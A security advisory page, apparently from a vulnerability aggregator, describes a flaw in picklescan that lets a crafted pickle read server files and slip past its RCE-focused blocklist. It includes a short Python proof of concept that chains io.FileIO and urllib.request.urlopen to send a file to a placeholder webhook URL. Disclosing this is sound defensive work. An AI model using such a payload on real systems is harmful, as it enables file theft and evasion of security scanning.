CVE-2026-53872 — picklescan - Arbitrary File Read via Unsafe Pickle Deserialization

Affected: picklescan

picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.

PYSEC-2026-1787 — picklescan has Arbitrary file read using `io.FileIO`

Affected: PyPI: picklescan

### Summary Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.

### Details The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:

1. io.FileIO: Opens local files without using builtins.open.

2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.

3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.

### PoC

```python import pickle, io, urllib.request

class GetFile: def __reduce__(self): return (io.FileIO, ('/etc/hosts', 'r'))

class Exfiltrate: def __reduce__(self): return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))

with open("bypass_http.pkl", "wb") as f: pickle.dump(Exfiltrate(), f) ```

### Impact

- Arbitrary file read

Thanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close th…

Most recent entries from all

CVE-2026-53872 — picklescan - Arbitrary File Read via Unsafe Pickle Deserialization

PYSEC-2026-1787 — picklescan has Arbitrary file read using `io.FileIO`